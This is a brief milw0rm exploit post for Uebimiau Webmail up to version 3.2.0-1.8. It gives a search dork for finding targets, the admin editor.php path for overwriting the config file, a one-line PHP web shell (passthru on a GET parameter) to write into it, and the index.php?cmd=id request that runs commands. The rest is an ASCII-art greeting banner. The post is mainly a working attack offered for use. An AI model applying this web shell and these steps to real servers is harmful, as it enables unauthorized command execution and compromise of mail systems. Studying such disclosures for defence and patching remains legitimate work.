Uebimiau Web-Mail <= 3.2.0-1.8 - Remote File / Overwrite Vulnerabilities

Uebimiau Webmail &#60;= v3.2.0-1.8 Remote File / Overwrite Vulnerabilities Dork : Uebimiau Webmail v3.2.0-1.8 POC : /uebimiau/admin/editor.php?load=config And You Can Write Any Code As &#60;?php passthru($_GET[cmd]); ?&#62; After That Click {Write To File} Go /uebimiau/index.php?cmd=id See Pic :http://www.almlf.com/get-6-2009-almlf_com_akszizl2.png Thanx To .___________..______ ____ ____ ___ _______ | || _ \ \ \ / / / \ / _____| `---| |----`| |_) | \ \/ / / ^ \ | | __ | | | / \_ _/ / /_\ \ | | |_ | | | | |\ \----. | | / _____ \ | |__| | |__| | _| `._____| |__| /__/ \__\ \______| ___ ______ ___ _______ _______ .___ ___. ____ ____ / \ / | / \ | \ | ____|| \/ | \ \ / / / ^ \ | ,----&#39; / ^ \ | .--. || |__ | \ / | \ \/ / / /_\ \ | | / /_\ \ | | | || __| | |\/| | \_ _/ / _____ \ | `----./ _____ \ | &#39;--&#39; || |____ | | | | | | /__/ \__\ \______/__/ \__\ |_______/ |_______||__| |__| |__| # milw0rm.com [2009-06-12]